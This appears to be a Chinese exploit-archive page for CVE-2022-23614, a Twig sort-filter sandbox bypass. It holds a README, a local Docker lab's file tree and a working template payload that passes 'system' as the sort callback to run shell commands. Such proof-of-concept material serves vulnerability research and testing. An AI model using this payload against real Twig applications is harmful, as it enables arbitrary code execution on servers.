关联漏洞
标题:Sensio Labs Twig 代码代码注入漏洞 (CVE-2022-23614)Description:Sensio Labs Twig是法国Sensio Labs公司的一个PHP模板引擎，它支持自定义标签和过滤器，并创建DSL。 Sensio Labs Twig 存在代码注入漏洞，在沙箱模式下，sort过滤器的 arrow 参数必须是一个闭包，以避免攻击者利用该漏洞运行任意PHP函数。在受影响的版本中，这个约束没有被适当地强制执行，可能导致任意PHP代码的代码注入。
Description
PoC for CVE-2022-23614 (Twig sort filter code execution/sandbox bypass)
介绍
# CVE-2022-23614
PoC for [CVE-2022-23614](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-23614), [GHSA-5mv2-rx3q-4w2v](https://github.com/twigphp/Twig/security/advisories/GHSA-5mv2-rx3q-4w2v) (Twig sort filter code execution/sandbox bypass)
As seen in this commit - [https://github.com/twigphp/Twig/commit/..](https://github.com/twigphp/Twig/commit/22b9dc3c03ee66d7e21d9ed2ca76052b134cb9e9), twig was passing user supplied function name as a callback parameter to [uasort](https://www.php.net/manual/en/function.uasort.php) ([here](https://github.com/twigphp/Twig/commit/22b9dc3c03ee66d7e21d9ed2ca76052b134cb9e9#diff-29e85e483c6ec4a9c2fd144820b6722c86df60d54175b355d85e806253313c1aR940)), thus leading to arbitrary code execution
To build and run the docker container with a vulnerable twig version
```BASH
$ ./build-docker.sh
```
Open the webpage at localhost:1337 and try rendering the following payload
```Twig
{{ ['id','']|sort('system') }}
```
PoC
Result
文件快照
[4.0K] /data/pocs/3ad2b6a2c969c83e95c2c017a1dc85bc0f251543
├── [ 112] build-docker.sh
├── [4.0K] config
│ ├── [2.6K] httpd.conf
│ └── [ 272] supervisord.conf
├── [ 818] Dockerfile
├── [4.0K] example
│ ├── [4.0K] bin
│ │ └── [1.3K] console
│ ├── [1.6K] composer.json
│ ├── [ 85K] composer.lock
│ ├── [4.0K] config
│ │ ├── [ 239] bundles.php
│ │ ├── [4.0K] packages
│ │ │ ├── [ 687] cache.yaml
│ │ │ ├── [ 526] framework.yaml
│ │ │ ├── [4.0K] prod
│ │ │ │ └── [ 57] routing.yaml
│ │ │ ├── [ 254] routing.yaml
│ │ │ ├── [4.0K] test
│ │ │ │ ├── [ 85] framework.yaml
│ │ │ │ └── [ 33] twig.yaml
│ │ │ └── [ 77] twig.yaml
│ │ ├── [4.0K] routes
│ │ │ └── [4.0K] dev
│ │ │ └── [ 98] framework.yaml
│ │ ├── [ 162] routes.yaml
│ │ └── [ 899] services.yaml
│ ├── [1.0K] LICENSE
│ ├── [4.0K] public
│ │ ├── [ 839] index.php
│ │ └── [4.0K] static
│ │ ├── [4.0K] css
│ │ ├── [4.0K] images
│ │ └── [4.0K] js
│ ├── [4.0K] src
│ │ ├── [4.0K] Controller
│ │ │ └── [ 725] DefaultController.php
│ │ ├── [1.4K] Kernel.php
│ │ └── [4.0K] Service
│ │ └── [ 390] TemplateGenerator.php
│ ├── [4.1K] symfony.lock
│ └── [4.0K] templates
│ └── [4.0K] site
│ └── [ 526] index.html
├── [4.0K] images
│ ├── [ 16K] result.png
│ └── [ 24K] webpage.png
└── [1.0K] README.md
20 directories, 28 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问，请发送邮件到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
3. 神龙已为您对 POC 代码进行快照，为了长期维护，请考虑为本地 POC 付费/捐赠，感谢您的支持。